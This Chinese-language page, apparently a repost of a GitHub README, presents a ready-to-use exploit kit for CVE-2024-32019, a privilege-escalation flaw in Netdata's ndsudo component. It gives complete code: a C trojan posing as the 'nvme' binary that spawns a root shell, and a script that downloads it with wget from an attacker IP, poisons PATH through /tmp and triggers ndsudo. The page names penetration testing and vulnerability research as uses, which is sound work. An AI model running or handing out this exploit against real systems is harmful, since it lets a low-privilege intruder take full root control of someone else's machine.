Netdata Ndsudo 权限提升漏洞利用工具 (CVE-2024-32019)

4 阅读3分钟

Netdata Ndsudo 权限提升漏洞利用工具 (CVE-2024-32019)

本项目针对 Netdata Agent v1.45.0 及以下版本中 ndsudo 组件存在的 不受信任搜索路径漏洞 (CVE-2024-32019),提供了完整的 Bash 利用脚本。攻击者可通过构造恶意二进制文件并污染 PATH 环境变量,以 root 权限执行任意代码。

功能特性

  • 一键式权限提升:提供两个自动化脚本,简化从普通用户到 root 的完整利用流程。
  • 恶意二进制生成:自动创建并编译用于提权的 nvme 木马程序,执行后即获得 root Shell。
  • 路径污染与触发:脚本自动修改当前会话的 PATH 变量,并调用存在漏洞的 ndsudo nvme-list 命令触发利用。
  • 远程部署支持:支持通过 wget 从攻击机下载预编译的恶意文件,便于在目标环境直接执行。
  • 低复杂度利用:利用方式简单,无需复杂依赖,适用于快速安全验证。

安装指南

系统要求

  • 目标系统:已安装存在漏洞的 Netdata Agent(版本 ≤ v1.45.0)
  • 攻击机环境:Linux 系统,支持 gccbashpython3
  • 权限要求:目标系统上需要已有普通用户 Shell 访问权限

安装步骤

  1. 克隆项目仓库(在攻击机或可直接访问目标的环境中执行):

    git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git
    cd CVE-2024-32019-ndsudo
    
  2. 确保脚本具有执行权限:

    chmod +x ndsudo_exp.sh
    
  3. (可选)若需远程部署,在攻击机启动简易 HTTP 服务器:

    python3 -m http.server 8080
    

使用说明

本地直接利用(方法一)

在已获取普通用户 Shell 的目标机器上执行以下操作:

  1. 运行主利用脚本 ndsudo_exp.sh(该脚本会生成恶意 nvme 二进制、污染 PATH 并触发漏洞):

    ./ndsudo_exp.sh
    
  2. 脚本执行成功后,当前 Shell 将提升为 root 权限,可通过 id 命令验证。

远程部署利用(方法二)

若需通过 HTTP 从攻击机传输脚本与恶意文件:

  1. 修改 ndsudo_exploit.sh 文件中的 IP 地址,指向你的攻击机 IP:

    wget http://<your-ip-addr>:8080/nvme -O /tmp/nvme
    
  2. 在目标机器上下载并执行远程利用脚本:

    wget http://<your-ip-addr>:8080/ndsudo_exploit.sh
    chmod +x ndsudo_exploit.sh
    ./ndsudo_exploit.sh
    

典型利用场景

  • 渗透测试:在授权测试中,获得低权限 Shell 后快速评估 Netdata 组件的风险。
  • 安全研究:复现 CVE-2024-32019 漏洞,理解不受信任搜索路径的实际危害。
  • 应急响应:验证内部系统是否存在该漏洞,并测试修复方案的有效性。

漏洞利用原理

  • ndsudo 工具在执行 nvme-list 等命令时,会沿 PATH 环境变量搜索 nvme 可执行文件。
  • 攻击者将恶意 nvme 二进制放入可写目录(如 /tmp),并修改 PATH 使该目录优先被搜索。
  • ndsudo 调用 nvme-list 时,实际执行的是攻击者提供的恶意 nvme 程序,从而获得 root 权限。

核心代码

恶意二进制生成脚本 (ndsudo_exp.sh 节选)

该脚本在本地生成并编译一个用于提权的 nvme 木马。

#! /bin/bash
# ndsudo CVE-2024-32019 Exploit - Privesc

echo "[+] Creating Malicious nvme binary..."
cat > nvme.c << 'EOF'
#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
EOF
echo "[+] Compiling nvme binary..."
gcc nvme.c -o nvme

代码注释

  • 通过 cat 重定向动态生成 C 源码 nvme.c
  • 木马程序调用 setuid(0)setgid(0) 获取 root 身份。
  • 使用 execl 启动一个带有 -p 参数(保留特权)的 Bash Shell。

远程部署与路径污染脚本 (ndsudo_exploit.sh)

该脚本用于从攻击机下载恶意文件并修改环境变量。

#! /bin/bash
# Copying ndsudo exploit from own machine

echo "[+] Copying nvme binary file..."
# Change the ip to your own ip-address
wget http://10.10.14.70:8080/nvme
mv nvme /tmp/nvme
chmod +x /tmp/nvme
echo "[+] Poisioning PATH..."
export PATH=/tmp:$PATH
echo "[+] Triggering ndsudo --> ROOT SHELL!"
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
echo "[+] Check root access:"
id

代码注释

  • 使用 wget 从攻击机 HTTP 服务获取预编译的 nvme 二进制。
  • 将文件移动到 /tmp 目录并赋予执行权限。
  • 通过 export PATH=/tmp:$PATH 使 /tmp 优先于系统目录被搜索。
  • 调用存在漏洞的 ndsudo nvme-list,实际执行 /tmp/nvme,获得 root Shell。 6HFtX5dABrKlqXeO5PUv/05/PuhPacyTUXgFekCJu/6y9Bwm49WG4ub1Q7KCRCdQ